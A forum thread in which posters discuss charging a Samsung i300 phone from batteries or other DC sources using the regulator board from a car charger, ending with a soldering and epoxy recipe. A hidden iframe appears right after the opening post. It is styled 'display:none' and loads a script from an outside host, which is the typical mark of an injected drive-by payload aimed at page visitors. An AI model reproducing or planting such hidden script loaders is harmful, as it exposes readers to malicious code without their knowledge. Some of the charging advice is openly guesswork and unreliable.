When far from a car or an outlet, I'd like to use available batteries to recharge the unit. I tore apart the car cord and found a tiny board with one chip - almost nothing. It seems to me that one could adapt that to any power source providing 9-15VDC.
My idea is to use a multi-battery pack, or a 9V alkaline cell, or ANY available source, using alligator clips through that board/chip to properly manipulate the charging current.
Anyone have a problem with that?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
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The older I get, the better I was...
The little chip is a voltage regulator which will also cut down your charge rate to a tricle after the battery has charged to a certain level .
If you bypass the chip or use another source directly to charge your battery without a regulator chip, its life will be shorterned considerably.........
i defiantely agree with the last poster.. that dynamic IC is critical to the safe operation of the charging of the battery. if you allow the current to stay high while charging the battery, you will cause the cells in the battery to crystallize...
I agree that you should keep the entire circuit installed. You should be able to use a 9v battery for short duration. Be sure to hook the input to the same wires that get the cig. lighter 12v.
If it were me I would just buy another "real" samsung extended battery.
If you need to charge the phone "in the woods" then I would get a larger battery than a standard 9v as it would not even get you 1 full charge.
Something that comes to mind is a rechargeable 7.2v Radio Controlled car battery. It cost about $20 + charger and is made up of 6 C cells (+1500mah). Something with D cells (+3500mah) would be even better. The bigger - the better. Just attach a cig. lighter socket and your done.
I base 7.2 volts on the samsung bat. 3.7v + 1.5v of charge voltage + 2v drop across the charging circuit + 1v extra for good measure. (all estimates)
I have not tried this but it makes sense to me. If your phone explodes don't blame me. (see 2nd paragraph above)
Depending on your weight and "spill" tollerance, consider a 12-volt motorcycle battery to supply several recharges. Also, many old full sized VHS camcorders used a 12-volt battery which was approx. 2X the size of your I300. Since the chip is going to keep the amps down, any 12-volt DC source should work!
The idea is to have something truly small and convenient that would adapt nearly ANY DC power source to charge/operate the i300. Here's my recipe, based upon a $4 car cord from eBay:
1. Pull apart the car cord.
2. Solder a red wire to the + input, black to the - input.
3. Cut the existing cable to about two inches, and resolder to the small circuit board (keep track of the wire colors!).
4. Epoxy-encapsulate the whole thing (it's like a fat nickel with one cable and two thin wires coming from it).
5. Add small clips to the red and black wires.
Voila!
This whole thing is tiny and effective. I can use a 9V battery, a few 1.5V alkaline cells, any car or motorcycle battery, any wall adapter that outputs 9VDC or more. The epoxy carries away heat from the chip. You can add a series resistor (50 ohms, 1W) and then use even higher voltage DC sources. Not exactly a universal supply, but close.
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The older I get, the better I was...
Keep the chip!
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